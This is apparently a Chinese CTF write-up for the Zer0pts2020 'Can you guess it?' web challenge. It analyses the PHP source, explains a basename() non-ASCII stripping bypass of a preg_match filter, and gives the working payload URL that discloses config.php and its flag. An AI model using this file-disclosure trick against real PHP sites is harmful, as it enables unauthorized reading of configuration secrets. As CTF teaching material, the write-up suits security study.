WEB|[Zer0pts2020]Can you guess it?
源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
源码分析
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
访问路径不能以/config.php/结尾
$_SERVER['PHP_SELF']):当前正在执行脚本的文件名;PHP中$_SERVER的详细用法
http://123.com/index.php --> index.php
http://123.com/index.php/config.php --> config.php
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
GET方法获取到source参数就显示显示文件内容,这里使用basename()存在漏洞,代码提示flag在config.php文件,可以利用这里查看config.php文件
basename():返回路径中的文件名部分
basename() 在使用默认语言环境设置时,会删除文件名开头的非 ASCII 字符,%ff、%2b、%0d等,中文内容也可以:汉字、?、《、》、;等
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
}
随机生成字符并转为16进制,POST方式获取guess,guess值与secret值相比较,如果相等显示flag,但是这里使用的是hash_equals避免了时序攻击和 php 弱类型,无法利用
hash_equals():用于同时比较两个字符串是否相等,无论字符串是否相等,函数的时间消耗是恒定的,可以有效的防止时序攻击
解法
利用basename()读取config.php的内容,$_SERVER['PHP_SELF']就要等于config.php,但是preg_match禁止以config.php结尾,这里就利用到了basename()漏洞加字符绕过
payload
/index.php/config.php/字?source
这里/index.php/config.php,虽然$_SERVER['PHP_SELF']获取的值等于config.php,但是浏览器可以解析为index.php从而正常显示页面
构造请求,得到flag
flag{e8b0c7d6-f24c-4227-9e4e-445dfea96b22}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步